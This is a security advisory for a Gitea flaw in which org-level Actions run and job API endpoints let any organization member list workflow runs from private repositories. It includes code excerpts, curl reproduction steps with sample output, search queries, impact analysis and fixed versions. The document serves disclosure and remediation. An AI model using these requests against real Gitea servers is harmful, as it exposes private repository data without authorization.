GHSA-frpw-3h2q-4jj6 CVE-2026-57897 GO-2026-6054
Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.41%
- Chance of exploitation in the next 30 days. Higher than 35.13% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-863 Incorrect Authorization
- Fix
- Available
- 2 packages have a fixed version
Description
Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization
1. Summary
The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs
are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
- private repositories the caller has no team membership for,
- repositories where the caller has been explicitly denied the
repo.actionsunit, - repositories created by other teams the caller is not part of.
Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.
2. Affected Code
2.1 Route registration
routers/api/v1/api.go:1647-1652
addActionsRoutes(
m,
reqOrgMembership(), // reqReaderCheck
reqOrgOwnership(), // reqOwnerCheck
org.NewAction(),
)
2.2 Helper that registers run/job listing
routers/api/v1/api.go:908-941
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)
reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.
2.3 Handler
routers/api/v1/org/action.go:595-683
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}
func (Action) ListWorkflowRuns(ctx *context.APIContext) {
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}
2.4 Query construction (no ACL)
routers/api/v1/shared/action.go:138-215
opts := actions_model.FindRunOptions{
OwnerID: ownerID, // ← org ID, NOT user ID
RepoID: repoID, // = 0 at org level
ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)
models/actions/run_list.go:102-110
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
if opts.OwnerID > 0 {
return []db.JoinFunc{func(sess db.Engine) error {
sess.Join("INNER", "repository",
"repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
return nil
}}
}
return nil
}
The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.
The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.
3. Steps to Reproduce
3.1 Setup
- Org
1st-orgwith one private repo1st-org-repo. - Team
Ownerscontains useradmin(org owner). - Team
1st-teamhas zero repositories assigned (units permissionnonefor actions, no included repos). - User
admin2is a regular user (is_admin = false), member of1st-teamonly — so org member, but no team grants any access to1st-org-repo.
Verified that admin2 lacks direct access:
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]
A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:
name: ci
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "SECRET_INFO_FROM_PRIVATE_REPO"
3.2 Trigger
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/runs
Output (truncated)
{"workflow_runs":[{
"id":7,
"url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
"html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
"display_title":"add workflow",
"path":"ci.yml@refs/heads/main",
"event":"push",
"run_attempt":1,
"run_number":1,
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
"actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
"trigger_actor":{ … "login":"admin" … },
"repository":{
"id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
"description":"test123",
"private":true,
"clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
"ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
…
}
}],"total_count":1}
[200]
Same primitive for jobs:
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
"id":7,
"run_id":7,
"name":"hello",
"labels":["ubuntu-latest"],
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
…
}],"total_count":1}
[200]
3.3 search primitives
All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"
All return matching rows from private repos in the org.
4. Impact
A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
| Field leaked | Why it matters |
|---|---|
repository.full_name, description, private, clone URLs |
Existence + topology of private repos |
head_sha, head_branch |
Confirms commits / branch names exist in private repos |
path (workflow file) |
Reveals workflow YAML filenames |
event, display_title |
Commit messages / event types |
actor, trigger_actor |
Internal contributor identities incl. noreply emails |
created_at, started_at |
Activity timing / CI cadence |
Pagination + ?head_sha=/?branch=/?actor= filters |
Full search oracle over private workflow history |
Real-world consequences:
- Org reconnaissance — confirms existence of private projects, names, activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
- Insider-threat amplification — any contractor / interviewee / OSS contributor invited to a low-permission team can mine the rest of the org's CI history.
- Cross-team violation — when an org isolates internal projects via
teams (e.g.
security/vsinfra/teams), this surface flatly bypasses that boundary. - Pivot data — commit SHAs disclosed here unlock subsequent endpoints that do check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).
The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0 |
1.27.0 |
| gitea.dev | < 1.27.0 |
1.27.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.27.0
- go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy
gitea.dev Go → 1.27.0
- go
go get gitea.dev@v1.27.0 && go mod tidy
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-h56g-4qw7-2mxg Gitea: Public-only API token restriction is not enforced on team API routes | Medium | Also affects gitea.dev |
| GHSA-prr9-9mp4-5gp2 Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145 | High | Also affects gitea.dev |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor